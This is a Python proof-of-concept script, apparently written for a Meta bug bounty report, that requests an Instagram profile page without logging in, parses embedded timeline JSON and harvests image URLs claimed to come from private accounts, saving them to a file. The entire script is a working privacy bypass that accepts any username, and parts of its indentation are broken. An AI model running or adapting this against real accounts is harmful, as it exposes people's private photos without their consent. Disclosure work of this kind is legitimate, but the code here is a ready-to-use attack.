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"""
Instagram Private Account Access - Proof of Concept
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CRITICAL: FOR SECURITY RESEARCH ONLY
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This script demonstrates unauthorized access to private Instagram posts
without authentication. Use only on accounts you own or have explicit
permission to test.
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import requests
import json
from bs4 import BeautifulSoup
from urllib.parse import unquote
import time
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def fetch_instagram_profile(username):
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    Fetches Instagram profile page for the given username.
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    Args:
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        username: Instagram username to fetch
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    Returns:
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        Response object containing the HTML page
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    headers = {
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        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'accept-language': 'en-GB,en;q=0.9',
        'dpr': '1',
        'priority': 'u=0, i',
        'sec-ch-prefers-color-scheme': 'dark',
        'sec-ch-ua': '"Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"',
        'sec-ch-ua-full-version-list': '"Google Chrome";v="141.0.7390.56", "Not?A_Brand";v="8.0.0.0", "Chromium";v="141.0.7390.56"',
        'sec-ch-ua-mobile': '?1',
        'sec-ch-ua-model': '"Nexus 5"',
        'sec-ch-ua-platform': '"Android"',
        'sec-ch-ua-platform-version': '"6.0"',
        'sec-fetch-dest': 'document',
        'sec-fetch-mode': 'navigate',
        'sec-fetch-site': 'none',
        'sec-fetch-user': '?1',
        'upgrade-insecure-requests': '1',
        'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36',
        'viewport-width': '1000',
    }
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    url = f'https://www.instagram.com/{username}/'
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    print(f"[*] Fetching profile: {username}")
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    response = requests.get(url, headers=headers)
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    if response.status_code != 200:
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        print(f"[-] Error: Received status code {response.status_code}")
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        return None
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    print(f"[+] Successfully fetched profile page")
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    return response
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def extract_timeline_data(html_content):
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    Extracts timeline data from Instagram profile HTML.
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    Args:
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        html_content: Raw HTML content from Instagram profile page
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    Returns:
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        Dictionary containing timeline data or None if not found
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    soup = BeautifulSoup(html_content, 'html.parser')
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    script_tags = soup.find_all('script', {'type': 'application/json'})
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    print(f"[*] Found {len(script_tags)} JSON script tags")
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    for script in script_tags:
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        script_content = script.string
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        if not script_content:
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            continue
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        if 'polaris_timeline_connection' in script_content and 'image_versions2' in script_content:
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            print(f"[+] Found script with timeline data")
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            try:
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                data = json.loads(script_content)
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                return data
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            except json.JSONDecodeError as e:
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                print(f"[-] JSON parsing error: {e}")
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                continue
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    print(f"[-] Timeline data not found in any script tag")
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    return None
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def decode_url(escaped_url):
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    Decodes escaped Instagram CDN URLs.
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    Args:
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        escaped_url: URL with escape sequences (\\/, \\uXXXX, %XX)
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    Returns:
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        Clean, decoded URL
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    try:
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        decoded = escaped_url.encode('utf-8').decode('unicode_escape')
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    except:
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        decoded = escaped_url
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    decoded = unquote(decoded)
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    return decoded
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def extract_all_image_urls_recursive(obj, urls=None, post_id=None):
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    Recursively extracts ALL image URLs from any nested JSON structure.
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    This handles single posts, carousels, and any future structure changes.
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Args:
    obj: JSON object to search (dict, list, or primitive)
    urls: Set to collect unique URLs (internal use)
    post_id: Current post ID being processed (internal use)

Returns:
    Set of tuples: (post_id, resolution, decoded_url)
"""
if urls is None:
    urls = set()

if isinstance(obj, dict):
    if 'pk' in obj and isinstance(obj.get('pk'), str):
        post_id = obj['pk']

    if 'image_versions2' in obj:
        candidates = obj['image_versions2'].get('candidates', [])
        for candidate in candidates:
            url = candidate.get('url', '')
            height = candidate.get('height', 0)
            width = candidate.get('width', 0)
            resolution = f"{width}x{height}"

            if url:
                decoded_url = decode_url(url)
                urls.add((post_id or 'unknown', resolution, decoded_url))

    for value in obj.values():
        extract_all_image_urls_recursive(value, urls, post_id)

elif isinstance(obj, list):
    for item in obj:
        extract_all_image_urls_recursive(item, urls, post_id)

return urls

def save_urls_to_file(image_urls, filename='extracted_urls.txt'):
    """
    Saves extracted URLs to a text file with organized structure.

    Args:
        image_urls: Set of tuples containing (post_id, resolution, url)
        filename: Output filename
    """
    urls_by_post = {}
    for post_id, resolution, url in image_urls:
        if post_id not in urls_by_post:
            urls_by_post[post_id] = []
        urls_by_post[post_id].append((resolution, url))

    with open(filename, 'w', encoding='utf-8') as f:
        f.write("Instagram Private Post URLs - POC Evidence\n")
        f.write("=" * 80 + "\n\n")
        f.write(f"Total Posts: {len(urls_by_post)}\n")
        f.write(f"Total Image URLs: {len(image_urls)}\n")
        f.write("=" * 80 + "\n\n")

        for post_id, resolutions in urls_by_post.items():
            f.write(f"POST ID: {post_id}\n")
            f.write(f"Number of images: {len(resolutions)}\n")
            f.write("-" * 80 + "\n")

            for i, (resolution, url) in enumerate(resolutions, 1):
                f.write(f"\n Image {i}:\n")
                f.write(f"  Resolution: {resolution}\n")
                f.write(f"  URL: {url}\n")

            f.write("\n" + "=" * 80 + "\n\n")

    print(f"[+] Saved {len(image_urls)} URLs from {len(urls_by_post)} posts to {filename}")

def main():
    """
    Main execution function.
    """
    print("=" * 80)
    print("Instagram Private Account Access - Proof of Concept")
    print("FOR SECURITY RESEARCH ONLY - Meta Bug Bounty Report")
    print("=" * 80)
    print()

    username = input("Enter Instagram username to test: ").strip()

    if not username:
        print("[-] Error: Username cannot be empty")
        return

    print()
    print("[!] WARNING: Only test on accounts you own or have permission to test")
    print("[!] This demonstrates unauthorized access to private content")
    print()

    time.sleep(1)

    response = fetch_instagram_profile(username)

    if not response:
        print("[-] Failed to fetch profile page")
        return

    timeline_data = extract_timeline_data(response.text)

    if not timeline_data:
        print("[-] Failed to extract timeline data")
        print("[-] Possible reasons:")
        print("  - Account has no posts")
        print("  - Instagram changed their HTML structure")
        print("  - Network/access issue")
        return

    print()
    print("[*] Extracting all image URLs recursively...")
    image_urls = extract_all_image_urls_recursive(timeline_data)

    if not image_urls:
        print("[-] No image URLs found")
        return

    urls_list = sorted(list(image_urls), key=lambda x: (x[0], x[1]))

    posts_count = len(set(url[0] for url in urls_list))

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print()
print("=" * 80)
print(f"VULNERABILITY CONFIRMED")
print(f"Extracted {len(urls_list)} private image URLs from {posts_count} posts")
print("=" * 80)
print()

print("Sample URLs (first 5):")
print()
for i, (post_id, resolution, url) in enumerate(urls_list[:5], 1):
    print(f"{i}. Post ID: {post_id}")
    print(f"    Resolution: {resolution}")
    print(f"    URL: {url[:100]}...")
    print()

save_urls_to_file(image_urls)

print()
print("[+] POC Complete")
print(f"[+] Successfully extracted URLs from {posts_count} private posts")
print("[+] These URLs are accessible without any authentication")
print("[+] This demonstrates complete bypass of Instagram privacy controls")
print()
print("[*] Evidence saved to: extracted_urls.txt")
print()

if __name__ == "__main__":
    main()
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